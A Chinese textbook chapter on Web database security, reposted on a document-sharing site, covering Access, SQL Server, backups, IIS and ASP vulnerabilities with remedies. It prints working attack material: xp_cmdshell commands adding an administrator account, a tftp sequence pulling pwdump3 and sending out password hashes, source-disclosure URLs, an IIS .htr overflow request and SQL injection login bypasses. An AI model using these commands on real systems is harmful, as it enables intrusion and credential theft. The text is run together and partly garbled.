




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
Web資料庫安全性近年來,安全問題逐步成為企業資訊主管關注和討論的焦點。一個好的安全解決方案離不開適當的安全目標和策略,而圍繞企業重點資產和高風險威脅所進行的風險評估則是規劃的基礎。在規劃企業安全時會考慮眾多威脅,絕大多數企業甚至是聘請的安全公司,往往把注意力集中於網路和操作系統安全,而容易忽視最重要的資料庫安全。資料庫安全是一個廣闊的領域,它作為操作系統之上的應用平臺,其安全與網路和主機安全息息相關。
9.1資料庫安全綜述9.1.1為何需要資料庫安全?在電腦世界,資料庫顯然存放著線上資源中最真實和最有價值的那部分資產。在資料庫中,這些數據一旦遭受安全威脅將帶來難以想像的嚴重後果。企業對數據的一個最基本要求,就是要確保它們能夠在任何時候,被任何授權用戶方便、高效地訪問。為此,企業會考慮創造多種對數據的訪問通道,並確保它們的安全。但是,這些通道是動態的,即當網路擴展時,它們隨之創建或改變,並可能在未察覺和任何保護情形下不再可用。通過對數據庫自身的安全保護,企業將可以在數據受到真正的威脅前設置最後一道防禦屏障。
9.1.2常見的資料庫安全問題及原因雖然資料庫安全的需求很明顯,但多數企業還是不願在發生了無可挽回的事件之前就著手考慮和解決相關的安全問題,讓我們考查以下可能危及資料庫安全的常見因素:(1)脆弱的帳號設置。(2)缺乏角色分離。(3)缺乏審計跟蹤。(4)未利用的資料庫安全特徵。9.1.3資料庫安全管理原則一個強大的資料庫安全系統應當確保其中資訊的安全性並對其有效地控制。下麵列舉的原則有助於企業在安全規劃中實現客戶利益保障,策略制訂以及對資訊資源的有效保護。(1)管理細分和委派原則。(2)最小許可權原則。許多新的保密規則針對對特定數據的授權訪問。(3)帳號安全原則。用戶帳號對於每一個資料庫聯接來說都是必須的。帳號應遵循傳統的用戶帳號管理方法來進行安全管理。(4)有效的審計。資料庫審計是資料庫安全的基本要求。9.2Access資料庫可能被下載的漏洞
一般來說,在提供asp許可權的Web伺服器上不可能提供代為設定DSN的服務,使用的
ACCESSmdb資料庫可能被人下載,因此asp程式使用的資料庫通常都局限在使用mdb資料庫,而mdb遠端資料庫所在的位置是使用在第8章資料庫連接方法中講到過的
DSN-LESS方法直接在asp中指定的,方法如下:
<%connstr="DBQ="+server.mappath("database/source.mdb")+";DefaultDir=;DRIVER={MicrosoftAccessDriver(*.mdb)};DriverId=25;FIL=MSAccess;ImplicitCommitSync=Yes;MaxBufferSize=512;MaxScanRows=8;PageTimeout=5;SafeTransactions=0;Threads=3;UserCommitSync=Yes;"%>
正如前文所言,在這種情況下mdb庫很可能被他人下載,從而造成諸如密碼等的洩露。所以,應該採取一定的措施嚴禁code.asp之類的程式,限制mdb的下載。在用Access做後臺資料庫時,如果有人通過各種方法知道或者猜到了伺服器的Access資料庫的路徑和數據庫名稱,那麼他就能夠下載這個Access資料庫檔,這是非常危險的。比如:如果Access資料庫book.mdb放在虛擬目錄下的database目錄下,那麼有人在流覽器中打入:http://someurl/database/book.mdb如果book.mdb資料庫沒有事先加密的話,那book.mdb中所有重要的數據都掌握在別人的手中。解決方法:(1)為數據庫檔案名稱起個複雜的非常規的名字,並把它放在多級目錄下。(2)不要把資料庫名寫在程式中。(3)使用ACCESS來為數據庫檔編碼及加密。首先在選取“工具->安全->加密/解密資料庫,選取資料庫(如:employer.mdb)”,然後按確定,接著會出現“資料庫加密後另存為”的窗口,存為:employer1.mdb。接著employer.mdb就會被編碼,然後存為employer1.mdb。要注意的是,以上的動作並不是對數據庫設置密碼,而只是對數據庫檔加以編碼,目的是為了防止他人使用別的工具來查看資料庫檔的內容。接下來為數據庫加密。首先以打開經過編碼了的employer1.mdb,在打開時,選擇“獨佔”方式。然後選取功能表的“工具->安全->設置資料庫密碼”,接著輸入密碼即可。為employer1.mdb設置密碼之後,接下來如果再使用Access資料庫檔時,則Access會先要求輸入密碼,驗證正確後才能夠啟動資料庫。不過要在ASP程式中的connection對象的open方法中增加PWD的參數,這樣即使他人得到了employer1.mdb檔,沒有密碼他是無法看到employer1.mdb的。不過,實際上已經有人編寫出專門破解Access資料庫密碼的程式,因此在使用時應予以注意。9.3SQL資料庫安全一般網站都是基於資料庫的,特別是ASP、PHP、JSP這樣的用資料庫來動態顯示的網站。很多網站可能多注意的是操作系統的漏洞,但是對數據庫和這些腳本的安全總是忽略。對於MSSQLServer資料庫來說,安全問題不僅僅局限在腳本上了。微軟的系統性很強,整個基於Windows系統的應用都有很強的關聯性,對SQLServer來說,基本可以把資料庫管理和系統管理等同起來了。SQLServer默認的管理員帳號“sa”的密碼是空的,這給多數NT伺服器產生一個安全漏洞。已經有專用的程式,能夠利用獲得的資料庫管理員帳號執行系統命令。在SQLServer中有很多系統存儲過程,有些是資料庫內部使用的,還有一些就是通過執行存儲過程來調用系統命令。9.3.1系統存儲過程:xp_cmdshell就是以操作系統命令行解釋器的方式執行給定的命令字符串。具體語法是:xp_cmdshell{'command_string'}[,no_output]xp_cmdshell在默認情況下,只有sysadmin的成員才能執行。但是,sysadmin也可以授予其他用戶這個執行許可權。在早期版本中,獲得xp_cmdshell執行許可權的用戶在SQLServer服務的用戶帳戶中運行命令。可以通過配置選項配置SQLServer,以便對SQLServer無sa訪問許可權的用戶能夠在SQLExecutiveCmdExecWindowsNT帳戶中運行xp_cmdshell。在
SQLServer7.0中,該帳戶稱為SQLAgentCmdExec。現在對於SQLServer2000,只要有一個能執行該存儲過程的帳號就可以直接運行命令了。
對於NT和WIN2000,當用戶不是sysadmin組的成員時,xp_cmdshell將模擬使用xp_sqlagent_proxy_account指定的SQLServer代理程式的代理帳戶。如果代理帳戶不能用,則xp_cmdshell將失敗。所以即使有一個帳戶是master資料庫的擁有者,也不能執行這個存儲過程。如果有一個能執行xp_cmdshell的資料庫帳號,比如是空口令的sa帳號。那麼就可以執行這樣的命令:execxp_cmdshell'netuserrefdom123456/add'execxp_cmdshell'netlocalgroupadministratorsrefdom/add'上面兩次調用就在系統的管理員組中添加了一個用戶:refdom。獲得了資料庫的sa管理員帳號後,就應該可以完全控制這個機器了,可見資料庫安全的重要性。下麵這些存儲過程都是對Public可以執行的:xp_fileexist用來確定一個檔是否存在。xp_getfiledetails可以獲得檔詳細資料。xp_dirtree可以展開你需要瞭解的目錄,獲得所有目錄深度。xp_getnetname可以獲得伺服器名稱。還有可以操作註冊表的存儲過程,這些不是對Public可以執行的,需要系統管理員或者授權執行:xp_regaddmultistringxp_regdeletekeyxp_regwrite9.3.2SQLServer的安全配置
除了及時安裝補丁程式外,還需要加強資料庫的安全。(1)首先,需要加強象sa這樣的帳號的密碼。跟系統帳號的使用配置相似,一般運算元據庫不要使用象sa這樣的最高許可權的帳號,而使用能滿足你的要求的一般帳號。(2)對擴展存儲過程進行處理。首先就是xp_cmdshell,還有就是上面那些一大堆存儲過程,都刪掉,一般也用不著。執行:usemastersp_dropextendedproc'xp_cmdshell'去掉guest帳號,阻止非授權用戶訪問,同時也去掉不必要的網路協議。(3)加強對數據庫登陸的日誌記錄,最好記錄所有登陸事件。(4)用管理員帳號定期檢查所有帳號,是否密碼為空或者過於簡單。加強資料庫的安全是非常重要的。類似DNS、MAIL等等,資料庫伺服器往往成為各種入侵的跳板。下麵是搜集到的一些關於資料庫的問題解答及使用技巧:(1)獲得sa許可權後,卻不能執行xp_cmdshell存儲過程。可能是已經把xp_cmdshell等擴展存儲過程刪除了,可以用這個存儲過程把xp_cmdshell恢復。sp_addextendedproc'xp_cmdshell','xpsql70.dll'(2)如何通過資料庫用pwdump獲得系統管理員密碼。先上傳一個pwdumptftp-iGETpwdump3.exepwdump3.exetftp-iGETlsaext.dlllsaext.dlltftp-iGETpwservice.exepwservice.exepwdump3outfile.txttftpPUToutfile.txtoutfile.txt然後再用解密工具破解這些密碼。(3)如何從資料庫讀取系統管理員密碼。能讀出加密的密碼是NT的管理員(administrator)帳號也不能做的。SQLServer能讀出來是“LocalSystem”帳號,這個帳號比administrator更高一級。9.4資料庫的備份
9.4.1數據備份的重要性和必要性
在當今資訊社會,最珍貴的財產並不是電腦軟體,更不是電腦硬體,而是企業在長期發展過程中所積累下來的業務數據。建立網路最根本的用途是要更加方便地傳遞與使用數據,但人為錯誤、硬碟損壞、電腦病毒、斷電或是天災人禍等等都有可能造成數據的丟失。所以應該強調指出:“數據是資產,備份最重要”。應當理解備份意識實際上就是數據的保護意識,在危機四伏的網路環境中,數據隨時有被毀滅的可能。由於我國目前軟體盜版現象還沒有得到徹底的解決,而且大部分的盜版軟體中都隱藏著致命的病毒,這就不可避免的對使用這些軟體的用戶構成極大的潛在威脅。而且,由於病毒本身所具有的智能性與可移植性,很可能在一瞬間這些病毒便會殃極整個網路。儘管現在的殺毒軟體層出不窮,但可以肯定的講,無論這些軟體的功能如何強大,人們永遠也不可能殺盡所有的病毒,因為病毒的更新速度要永遠快於殺毒軟體的更新速度。從這個意議上講,對數據進行備份是非常必要的。當今在發達國家,幾乎每一個網路都會配置一些專用的外部存儲設備,而這些設備確實在不少災難性的數據失事中發揮了扭轉乾坤的作用。實際上,這些備份裝置的費用只占伺服器硬體的10%,而它卻能為用戶提供100%的數據保護,從而避免10倍甚至百倍的經濟損失。9.4.2威脅數據安全的因素分析曾有一位電腦專家說過,系統災難的發生,不是是否會,而是遲早的問題。造成系統數據丟失的原因很多,有些還往往被人們忽視。正確分析威脅數據安全的因素,能使系統的安全防護更有針對性。導致系統失效的因素主要有以下方面。(1)系統物理故障主要是系統設備的運行損耗、存儲介質失效、運行環境(溫度、濕度、灰塵等)對電腦設備的影響、電源供給系統故障、人為的破壞等。(2)系統軟體設計的缺陷現今操作系統環境和應用軟體種類繁多,結構複雜。軟體設計上的缺陷也會造成系統無法正常工作。另外,版本的升級、程式的補丁等都會對系統造成影響。(3)使用人員人為失誤由於操作不慎,使用者可能會誤刪除系統的重要檔,或者修改了影響系統運行的參數,以及沒有按照規定要求、操作不當導致系統失靈。(4)電腦病毒近年來,由於電腦病毒感染而破壞電腦系統,造成重大經濟損失的事件屢屢發生,給電腦技術的應用發展蒙上陰影。電腦病毒具有自我複製能力,品種繁多,感染性強,特別是在網路環境下,傳播擴散速度更快,令人防不勝防。(5)駭客入侵伴隨著Internet的發展,網路駭客對電腦系統的攻擊也成為一大安全隱患。(6)自然災害首先,地理環境決定了我國具有較高的自然災害發生率,如地震、嚴重的洪澇災害等。其次,火災也是一大隱患。火災的發生概率要比自然災害高的多。一般來講,一個大型城市每年平均都會發生幾百起火災事故。雖然災害與其他因素相比發生的頻率並不高,但這樣的災害只要發生一次,就會給網路帶來毀滅性的打擊。
9.4.3網路數據備份的內容及方法備份就是保留一套現有系統的後備系統,這套後備系統或者是與現有系統一模一樣,或者具有能夠代替現有系統的功能。一個完善的網路數據備份應包括硬體物理容錯和軟體級數據備份,並且能夠自動地跨越整個系統網路平臺,主要包括以下幾個方面:(1)構造雙機容錯系統在網路中,最關鍵的網路設備是檔伺服器,為了保證網路系統連續運行,必須採用檔伺服器雙機熱備份容錯技術,以解決硬體的故障。從物理上保證系統軟體所需的運行環境。但這種硬體的物理備份並不能消除網路的邏輯錯誤,當人為的邏輯錯誤發生時,雙機熱備份只會將錯誤重複一遍。(2)多平臺系統檔備份一個理想的網路數據備份方案,是指能夠在一臺機器上自動地跨平臺地實現整個網路的系統檔備份,包括各平臺的系統配置、存儲分配和設備表。因為網路數據備份通常使用專用設備,不可能為每個系統平臺或關鍵的電腦都配置專用備份設備,所以用網路進行高速備份是網路數據備份方案所必須考慮的功能。
(3)各類資料庫的備份隨著資訊資源呈海量之勢增加,各類資料庫越來越複雜和龐大,單純使用備份檔的簡單方式來備份數據已不再適用,能否將所需要的數據從龐大的資料庫檔中抽取出來進行備份,是網路資料庫備份的重要一環。(4)網路故障和災難恢復網路數據備份的最終目的是保障網路系統安全運行。當網路系統出現邏輯錯誤時,網路數據備份系統能夠根據備份的系統檔和各類資料庫檔在最短的時間內迅速恢復網路系統。(5)備份任務管理對於網路管理員來說,備份是一項繁重的任務,需要完成大量的手工操作,費時費力。因此,網路備份應具備實現定時和即時自動備份,從而減輕管理員的負擔並消除手工操作帶來的失誤。利用SQLSERVER2000所提供的“資料庫維護計畫器”,可以實現數據自動備份功能。
9.4.4樹立正確的備份觀念很多電腦用戶和管理人員雖然認識到備份的重要性,具備一定的備份概念,但仍存在一些誤區。有的用戶認為備份就是簡單地做一份拷貝,因而往往達不到實際要求,或是陷入繁瑣耗時的手工操作中。備份並不僅僅是執行拷貝指令或程式,一個完整的備份方案大致應具備以下特點:(1)保證數據資料的完整性。(2)能自動排程設定,實現備份任務的管理。(3)能對不同的存儲介質進行有效管理。(4)支持多種操作系統平臺。(5)操作簡便、易於實現。除了技術上的要求外,制定周密的計畫也很重要。有些系統人員不大重視備份計畫的設計,缺乏完整的規劃和策略,使得備份效果大打折扣。要注意備份過程可能對一些應用系統有影響,要針對系統運行情況,合理安排備份時段,避免與應用程式發生衝突。總之,備份方案是存儲設備、備份工具、運作方式、恢復重建方法、操作性、可靠性等方面的綜合考慮。隨著網路的不斷投入和擴大,電腦網絡的安全、數據資源的安全日益重要。規劃一套完整的備份方案並付諸實施,系統數據安全才會得到有效的保障。9.5IIS的安全性現在很多網站,特別是電子商務方面的網站,在前臺上大都用ASP來實現,以至於ASP在網站應用上十分普遍。ASP是開發網站應用的快速工具,但是有些網站管理員只看到ASP的快速開發能力,卻忽視了ASP安全問題。通過asp,可能可以很方便地入侵Web伺服器、竊取伺服器上的檔、捕獲Web資料庫等系統的用戶口令,甚至惡意刪除伺服器上的的檔,直至造成系統損壞。雖然WINDOWSNTOptionPack所帶的MicrosoftIIS提供了強大的功能,但是IIS在網路安全方面卻是比較危險的。因為很少有人會用Windows95/98當伺服器,因此重點是NT中的IIS安全問題。IIS支持虛擬目錄,通過在“伺服器屬性”對話框中的“目錄”標籤可以管理虛擬目錄。首先,虛擬目錄隱藏了有關站點目錄結構的重要資訊。其次,只要兩臺機器具有相同的虛擬目錄,就可以在不對頁面代碼做任何改動的情況下,將Web頁面從一臺機器上移到另一臺機器。第三,當將Web頁面放置於虛擬目錄下後,可以對目錄設置不同的屬性。當需要使用ASP時,必須將存放.asp檔的目錄設置為“執行”。因此,建議在設置Web站點時,將HTML與ASP檔分開放置在不同的目錄下,然後將HTML子目錄設置為“讀”,將ASP子目錄設置為“執行”,不僅方便了對Web的管理,而且提高了ASP程式的安全性,防止程式內容被客戶所訪問。儘管微軟稱ASP在網路安全方面的一大優點就是用戶不能看到ASP的根源程式,因為從ASP的原理上看,ASP在服務端執行並解釋成標準的HTML語句,再傳送給客戶端流覽器。“遮罩”根源程式能很好地維護ASP開發人員的版權,避免駭客通過分析ASP程式,挑出漏洞。更重要的是有些ASP開發者喜歡把密碼,有特權的用戶名和路徑直接寫在程式中,這樣別人通過猜密碼、猜路徑,很容易找到攻擊系統的“入口”,這也恰恰是其安全隱患。但是目前已經發現了很多能查看ASP根源程式的漏洞.IIS提供利用ASP而動態產生網頁的服務。一個ASP檔,就是一個在
HTML網頁中,直接內含程式代碼的檔。回詢(request)一個
ASP檔,會促使
IIS運行網頁中內嵌的程式代碼,然後將其運行結果直接回送到流覽器上。另一方面,靜態的
HTML網頁,是按照其原來的樣子回傳到流覽器上面,沒有經過任何的解析處理。在這裏,IIS是利用檔案的附加檔名來區別檔案的形態。一個附加檔名為.htm或.html的檔案是屬於靜態的
HTML檔案,而附加檔名為.asp的檔案則為一個ASP檔案,通過流覽器回詢該檔案,將不會看到根源程式代碼,而只能看到程式代碼的執行結果。正因為如此,這一個ASP就給別人留了後門,或許在所有網路安全漏洞裏面,最不受重視的就是未經過解析的檔內容或程式代碼無意中被顯示出來的安全漏洞。簡單的說,這些安全漏洞允許使用者從網頁伺服器騙取動態網頁裏面的程式代碼。看見源代碼似乎覺得並沒有什麼大礙,但如果ASP程式員將站點的登陸密碼直接寫在asp檔裏,那麼一旦源碼被發現,他人就可以很容易地進入本
不該被看到的頁面,而且很多資料庫的連接用戶名和密碼也都是直接寫在asp檔裏,一旦被發現,如果資料庫允許遠程訪問而且沒有設防的話就相當危險了。在一些用ASP開發的
BBS程式中,往往使用的是accessmdb資料庫,如果mdb庫存放的路徑被獲知,資料庫就很有可能輕易地被他人下載,加之如果資料庫裏含有的密碼不加密,那就非常危險了,獲取密碼的人如果有意進行惡意破壞,他只需要以管理員身份登陸就可刪除所有BBS裏的帖子。下一節從開放了ASP服務的操作系統漏洞和ASP程式本身漏洞入手,闡述ASP安全問題,並給出解決方法或建議。9.6ASP漏洞及解決方法有人說一臺不和外面聯繫的電腦是最安全的電腦,一個關閉了所有端口、不提供任何服務的電腦也是最安全的。駭客經常利用我們所開放的端口實施攻擊,這些攻擊最常見的是DoS(拒絕服務攻擊)。下麵列出了ASP中一些已知的漏洞。9.6.1特殊符號對安全的影響
通過在ASP程式後加個特殊符號,就能看到ASP根源程式。IIS2、IIS3、IIS4的一個廣為人知的漏洞就是::$DATA,通過它使用IE中的“查看根源程式”或Netscape直接訪問該asp檔就能輕而易舉地看到asp代碼。受影響的版本有:Win95+pws、IIS3.0。98+pws4、IIS4.0以上的版本也不存在這個漏洞。這些特殊符號包括小數點、%81、::$DATA。比如:http://someurl/somepage.asp.http://someurl/somepage.asp%81http://someurl/somepage.asp::$DATAhttp://someurl/somepage.asp%2ehttp://someurl/somepage%2e%41sphttp://someurl/somepage%2e%asphttp://someurl/somepage.asp%2e那麼在安裝有IIS3.0和Win95+PWS的流覽中就很容易看到somepage.asp的根源程式。究其根源是因為WindowsNT的特有的FAT檔系統:NTFS,這種被稱之為新技術檔系統的技術使得
NT具有了較高的安全機制,但也正是因為它而產生了不少令人頭痛的隱患。NTFS支持包含在一個檔中的多數據流,而這個包含了所有內容的主數據流被稱之為“DATA”,因此使得在流覽器裏直接訪問NTFS系統的這個特性而輕易的捕獲在檔中的腳本程式成為了可能。然而,直接導致::$DATA的原因是由於IIS在解析檔案名的時候出了問題,它沒有很好地規範檔案名。解決方法和建議:(1)將.asp檔存放的目錄設置為不可讀(ASP仍能執行),這樣html、css等檔就不能放在這個目錄下,否則它們將不能被流覽。
(2)訪問微軟的官方網站,下載並安裝對應系統的補丁程式。9.6.2code.asp檔對安全的影響在微軟提供的ASP1.0的例程裏有一個.asp檔專門用來查看其他asp檔的源代碼,該檔為ASPSamp/Samples/code.asp。如果有人把這個程式上傳到伺服器,而伺服器端沒有任何防範措施的話,他就可以很容易地查看他人的程式。例如:
code.asp?source=/directory/file.asp這是個比較舊的漏洞了,相信現在很少會出現這種漏洞。下麵這命令是比較新的:http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp如果asa檔可以被上述方式讀出,資料庫密碼將以明文形式暴露在駭客眼前。因此,對於IIS自帶的showaspcode的asp程式檔,刪除該檔或者禁止訪問該目錄。9.6.3filesystemobject組件對安全的影響IIS3、IIS4的ASP的檔操作都可以通過filesystemobject實現,包括文本檔的讀寫目錄操作、檔的拷貝、改名及刪除等,但是這個強大的功能也留下了非常危險的“後門”。利用filesystemobjet可以篡改下載FAT分區上的任何檔。即使是NTFS分區,如果許可權沒有設定好的話,同樣也能被破壞。遺憾的是很多管理員只知道讓Web伺服器運行起來,很少對NTFS進行許可權設置,而NT目錄許可權的默認設置偏偏安全性又低得可怕。因此,密切關注伺服器的設置很重要,儘量將Web目錄建在NTFS分區上,目錄不要設定Everyone完全控制,即使是管理員組的成員一般也沒什麼必要完全控制,只要有讀取、更改許可權就足夠了。也可以把filesystemobject的組件刪除或者改名。9.6.4HTML語句或者Javascript語句對安全的影響ASP應用程式可能面臨的攻擊。過去許多Internet上用CGI寫的留言本或BBS是把客戶輸入的留言賦給一個變數,然後再把這個變數插入到顯示留言的HTML檔裏,因此客戶輸入的文本如要在HTML檔裏顯示就得符合HTML標準,而CGI程式裏一般都加入了特定的HTML語言。當客戶輸入內容,插入HTML檔時,即同時插入到了頭尾HTML語句中。9.6.5IndexServer服務對安全的影響在運行IIS4或者IIS5的IndexServer,輸入特殊的字元格式可以看到ASP根源程式或者其他頁面的程式,甚至已經添加了關於參看源代碼的補丁程式的系統,或者沒有.htw檔的系統,一樣存在該問題。通過構建下麵的特殊程式可以參看該程式源代碼:http://someurl/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full這樣只是返回一些html格式的檔代碼,但是當添加%20到CiWebHitsFile的參數後面。由於“null.htw”檔並非真正的系統映射檔,只是一個儲存在系統記憶體中的虛擬檔。哪怕已經從系統中刪除了所有的真實的.htw檔,但是由於對null.htw檔的請求默認是由webhits.dll來處理。所以,IIS仍會受到該漏洞的威脅。問題解決或者建議:如果該webhits提供的功能是系統必須的,請下載相應的補丁程式。如果沒必要,請用IIS的MMC管理工具簡單地移除.htw的映象檔。9.6.6IISWebServerDoS
默認情況下,IIS容易被拒絕服務攻擊。如果註冊表中有一個叫
“MaxClientRequestBuffer”的鍵未被創建,則針對NT系統的這種攻擊通常能奏效。
“MaxClientRequestBuffer”這個鍵用於設置IIS允許接受的輸入量。如果設置為256(位元組),則攻擊者通過輸入大量的字元請求,IIS將被限制在256位元組以內。而系統的缺省設置對此不加限制,因此,利用特殊的程式,就可以很容易地對IISServer實行DoS攻擊,導致NT系統的CPU佔用率達到100%。解決方案:運行Regedt32.exe程式,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters增加一個值:ValueName:
MaxClientRequestBufferDataType:REG_DWORD設置為十進位,具體數值設置為想設定的IIS允許接受的URL最大長度。CNNS的設置為256。9.6.7MSODBC資料庫連接溢出導致NT/9x拒絕服務攻擊MicrosoftODBC資料庫在連接和斷開時可能存在潛在的溢出問題(MicrosoftACCESS資料庫相關)。如果不取消連接而直接和第二個數據庫相連接,可能導致服務停止。影響系統:ODBC版本:3.510.3711.0ODBCAccess驅動版本:3.51.1029.00OS版本:
WindowsNT4.0ServicePack5,IIS4.0(i386)MicrosoftOffice97Professional(MSO97.dll:507)漏洞檢測方法如下:ODBC連接源名稱:
miscdbODBC資料庫型號:
MSAccessODBC假設路徑:
d:\data\misc.mdbASP代碼如下:<%setconnVB=server.createobject("ADODB.Connection")connVB.open"DRIVER={MicrosoftAccessDriver(*.mdb)};DSN=miscdb“%><html><body>...lotsofhtmlremoved...<!--WeConnecttoDB1--><%setconnGlobal=server.createobject("ADODB.Connection")connGlobal.Open"DSN=miscdb;User=sa"mSQL="arbSQLStatement"setrsGlobal=connGlobal.execute(mSQL)WhilenotrsGlobal.eofResponse.WritersGlobal("resultfrommiscdb")rsGlobal.movenextwendrsGlobal.closesetrsGlobal=nothingconnGlobal.closesetconnGlobal=nothing'NotewedoNOTclosetheconnection%><!--CallthesamedatabasebymeansofDBQdirectfileaccess--><%setconnGlobal=server.createobject("ADODB.Connection")connGlobal.Open"DRIVER={MicrosoftAccessDriver(*.mdb)};DBQ=d:\data\misc.mdb"mSQL="arbSQLStatement"setrsGlobal=connGlobal.execute(mSQL)WhilenotrsGlobal.eofResponse.WritersGlobal("resultfrommiscdb")rsGlobal.movenextwendrsGlobal.closesetrsGlobal=nothingconnGlobal.closesetconnGlobal=nothing'NoteweDOclosetheconnection%>在這種情況下,IIS處理進程將會停頓,CPU使用率由於inetinfo.exe進程將達到100%。只有重新啟動電腦才能恢復。
9.6.8IISServer4.0中的“非法HTR請求”缺陷該漏洞導致對於IIS伺服器的“服務拒絕攻擊”。在這種情況下,可能導致任何2進制代碼在伺服器上運行。駭客可以利用這一漏洞對IIS伺服器進行完全的控制。
IIS支持多種需要伺服器端處理的檔類型,譬如:ASP、ASA、IDC、HTR,當一個Web用戶從客戶端請求此類檔時,相應的DLL檔將自動對其進行處理。然而在ISM.DLL這個負責處理HTR檔的檔中,被發現存在嚴重的安全漏洞。(注:HTR檔本身是用來遠程管理用戶密碼的)該漏洞包含了一個在ISM.DLL中未經驗證的緩衝,它可能對Web伺服器的安全運作造成兩方面的威脅。首先,是來自服務拒絕攻擊的威脅,一個來自非正常的對.HTR檔請求將導致緩存溢出,從而直接導致IIS崩潰。當這種情況發生時,無須重啟伺服器,但是IISWeb服務必須重新啟動。另外,通過使用一個精心構建過的檔請求將可以利用標準的緩存溢出手段導致2進制代碼在伺服器端運行,這種情況是很危險的。該漏洞不包括提供用來管理用戶密碼的功能的.HTR檔。
至少在一個IIS的擴展名中(例如:ASP、IDC及HTR)存在溢出。推測溢出將在IIS把完整的URL傳遞給DLL去處理擴展名時發生。如果ISAPIDLL沒有正確的檢查限制範圍從而導致INETINFO.EXE產生一個溢出,用戶就從可以遠端執行2進制代碼。攻擊方法:向IIS發一個如下的HTTP請求:“GET/[overflow].htrHTTP/1.0”,IIS將崩潰。這裏的[overflow]可以是3K長的代碼。IIS具有讓NT用戶通過Web目錄/iisadmpwd/更改自己口令的能力。而這個功能正是由一組.HTR檔和ISAPI的一個擴展DLL——ISM.DLL實現的。當一個完整的URL傳遞到ISM.DLL時,由於沒有適當的大小限制的檢查,就會導致溢出產生,從而使得伺服器崩潰。HTR/ISM.DLLISAPI是IIS4缺省安裝。
解決途徑:
(1)將.HTR擴展名從ISAPIDLL的列表中刪除
在NT桌面上,點擊“開始”→“程式”→“WindowsNT4.0OptionPack”→“MicrosoftInternetInformationServer”→“Internet服務管理器”;雙擊“InternetInformationServer”;滑鼠右鍵單擊電腦名稱並選擇“屬性”;在“主屬性”下拉式菜單中選擇“WWW服務”並點擊“編輯”按鈕;選擇“主目錄”檔夾,並點擊“配置”按鈕,在“應用程式映射”列表框中選中.HTR的相關映射,選擇“刪除”,並確定。
(2)安裝微軟提供的補丁程式。9.6.9ASP程式密碼驗證漏洞很多網站把密碼放到資料庫中,在登陸驗證中使用以下sql語句(以asp為例):sql="selectfromuserwhereusername='"&username&"'andpass='"&pass&'"此時,只要根據sql構造一個特殊的用戶名和密碼,此時,程式將會變成這樣:sql="select*fromusernamewhereusername="&ben'or'1'='1&"andpass="&pass&"
or是一個邏輯運算符,只要其中一個條件成立,那麼等式將會成立。而在SQL語言中,是以1來代表真的(成立),那麼在這行語句中,原語句的“and”驗證將不再繼續,因為"1=1"和"or"令語句返回為真值.。另外也可以構造以下的用戶名:
username='aa'orusername<>'aa'pass='aa'orpass<>'aa'相應地在流覽器端的用戶名框內寫入:a
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 小学教师年终教学总结格式9篇
- 线上戏曲名段欣赏行业跨境出海战略研究报告
- 影视基地游客运输行业深度调研及发展战略咨询报告
- 石化副产品回收行业深度调研及发展战略咨询报告
- 民俗文化研究企业制定与实施新质生产力战略研究报告
- 环保图书馆企业制定与实施新质生产力战略研究报告
- 餐厨垃圾转化饲料设备行业跨境出海战略研究报告
- 海水淡化工程企业制定与实施新质生产力战略研究报告
- 美术辅导在线平台行业跨境出海战略研究报告
- 瑜伽修身教室企业制定与实施新质生产力战略研究报告
- 偏瘫患者更换衣物护理
- 探索肠道菌群对免疫系统影响机制
- 2025年农业农村部科技发展中心面向社会公开招聘2人管理单位笔试遴选500模拟题附带答案详解
- 口腔三基三严试题及答案
- 矿山开工报告范本
- AS3000-2007电气安装布线规范(中英文)
- 血管导管相关感染预防与控制指南课件
- 基于YOLOv5深度学习模型的车牌识别系统设计
- 四年级下册英语(人教PEP)高频考点每日一练
- 《中国传统民居建筑》课件
- 《机动车驾驶人考试场地布局规划指南》编制说明
评论
0/150
提交评论